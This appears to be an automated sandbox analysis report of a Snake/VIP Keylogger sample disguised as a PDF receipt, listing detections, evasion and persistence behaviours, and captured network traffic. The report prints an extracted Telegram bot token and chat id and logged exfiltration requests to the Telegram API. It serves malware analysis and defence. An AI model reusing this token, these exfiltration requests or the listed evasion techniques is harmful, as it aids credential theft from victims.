Windows Analysis Report
rDEKONT-1_16_2025__75kb__pdf.exe

Overview

General Information

Sample name: rDEKONT-1_16_2025__75kb__pdf.exe
Analysis ID: 1592453
MD5: 14246ea59962956247cb757ff4c485e8
SHA1: 41233827e40eacdc99a408d0b0ecfe78ee24120c
SHA256: f89d5db1d93b61d6e6346fa86e914a5b02e927c8eee905e658b0818f76a545ca
Tags: exeuser-Porcupine
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Initial sample is a PE file and has a suspicious name
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: rDEKONT-1_16_2025__75kb__pdf.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Avira: detection malicious, Label: HEUR/AGEN.1310400
Found malware configuration
Source: 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7293224337:AAGQ5dfI8Gbcc9C0VWXufkTkIt2XTgIrMks", "Chat_id": "7727510436", "Version": "4.4"}
Source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7293224337:AAGQ5dfI8Gbcc9C0VWXufkTkIt2XTgIrMks", "Chat id": "7727510436", "Version": "4.4"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\teXfNv.exe ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Virustotal: Detection: 27% Perma Link
Multi AV Scanner detection for submitted file
Source: rDEKONT-1_16_2025__75kb__pdf.exe Virustotal: Detection: 27% Perma Link
Source: rDEKONT-1_16_2025__75kb__pdf.exe ReversingLabs: Detection: 26%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: rDEKONT-1_16_2025__75kb__pdf.exe Joe Sandbox ML: detected

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org
Uses 32bit PE files
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49743 version: TLS 1.0
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: mscorlib.pdb source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4162079442.0000000006324000.00000004.00000020.00020000.00000000.sdmp, teXfNv.exe, 0000000B.00000002.4162004610.0000000006310000.00000004.00000020.00020000.00000000.sdmp
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 00EBF8E9h 6_2_00EBF630
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 00EBFD41h 6_2_00EBFA8B
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CB3C8h 6_2_055CAFB0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CAE01h 6_2_055CAB50
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CFBA5h 6_2_055CF868
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CE9B1h 6_2_055CE708
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CE423h 6_2_055CE178
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 6_2_055C0040
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CF261h 6_2_055CEFB8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CB3C8h 6_2_055CAFA3
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CEE09h 6_2_055CEB60
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055C0D0Dh 6_2_055C0B30
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055C1697h 6_2_055C0B30
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CD719h 6_2_055CD470
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CF6B9h 6_2_055CF410
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CB3C8h 6_2_055CB2F6
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CDFC9h 6_2_055CDD20
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 055CDB71h 6_2_055CD8C8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D4B2Eh 6_2_067D4860
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DE3C0h 6_2_067DE0C8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D10F0h 6_2_067D0E20
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D38EEh 6_2_067D3620
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D58DEh 6_2_067D5610
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D78CEh 6_2_067D7600
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DA1A6h 6_2_067D9ED8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DC196h 6_2_067DBEC8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D420Eh 6_2_067D3F40
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D61FEh 6_2_067D5F30
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D81EEh 6_2_067D7F20
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DF218h 6_2_067DEF20
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DAAC6h 6_2_067DA7F8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DCAB6h 6_2_067DC7E8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DCF46h 6_2_067DCC78
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D4FBEh 6_2_067D4CF0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D6FAEh 6_2_067D6CE0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D8F9Eh 6_2_067D8CD0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DAF56h 6_2_067DAC88
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D9897h 6_2_067D95F0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DB876h 6_2_067DB5A8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DD866h 6_2_067DD598
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DE888h 6_2_067DE590
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DED50h 6_2_067DEA58
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D9D16h 6_2_067D9A48
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DBD06h 6_2_067DBA38
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DDD97h 6_2_067DDA28
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then mov esp, ebp 6_2_067D2AF0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D3D7Eh 6_2_067D3AB0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D5D6Eh 6_2_067D5AA0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D7D5Eh 6_2_067D7A90
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DA636h 6_2_067DA368
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DC627h 6_2_067DC358
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then mov esp, ebp 6_2_067D2B00
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DF6E0h 6_2_067DF3E8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D469Eh 6_2_067D43D0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D668Eh 6_2_067D63C0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D867Eh 6_2_067D83B0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D6B1Eh 6_2_067D6850
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D8B0Eh 6_2_067D8840
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DFBA8h 6_2_067DF8B0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D743Eh 6_2_067D7170
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D942Eh 6_2_067D9160
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DB3E6h 6_2_067DB118
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067DD3D6h 6_2_067DD108
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D345Eh 6_2_067D3190
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 4x nop then jmp 067D544Eh 6_2_067D5180
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 00FFF8E9h 11_2_00FFF630
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 00FFFD41h 11_2_00FFFA8B
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FB3C8h 11_2_055FAFB0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FAE01h 11_2_055FAB50
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FFBA5h 11_2_055FF868
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FE9B1h 11_2_055FE708
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FE423h 11_2_055FE178
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 11_2_055F0040
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FF261h 11_2_055FEFB8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FB3C8h 11_2_055FAFA3
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FEE09h 11_2_055FEB60
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055F0D0Dh 11_2_055F0B30
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055F1697h 11_2_055F0B30
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FD719h 11_2_055FD470
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FF6B9h 11_2_055FF410
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FB3C8h 11_2_055FB2F6
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FDFC9h 11_2_055FDD20
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 4x nop then jmp 055FDB71h 11_2_055FD8C8

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49775 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49764 -> 149.154.167.220:443
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.49b4148.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4994128.0.raw.unpack, type: UNPACKEDPE
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:116938%0D%0ADate%20and%20Time:%2016/01/2025%20/%2013:16:46%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20116938%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:116938%0D%0ADate%20and%20Time:%2016/01/2025%20/%2012:17:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20116938%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View IP Address: 132.226.247.73 132.226.247.73
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
May check the online IP address of the machine
Source: unknown DNS query: name: checkip.dyndns.org
Source: unknown DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49737 -> 132.226.247.73:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49747 -> 132.226.247.73:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 132.226.247.73:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 132.226.247.73:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49750 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49735 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49749 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49769 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49762 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49742 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49761 -> 104.21.64.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49753 -> 104.21.64.1:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49743 version: TLS 1.0
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
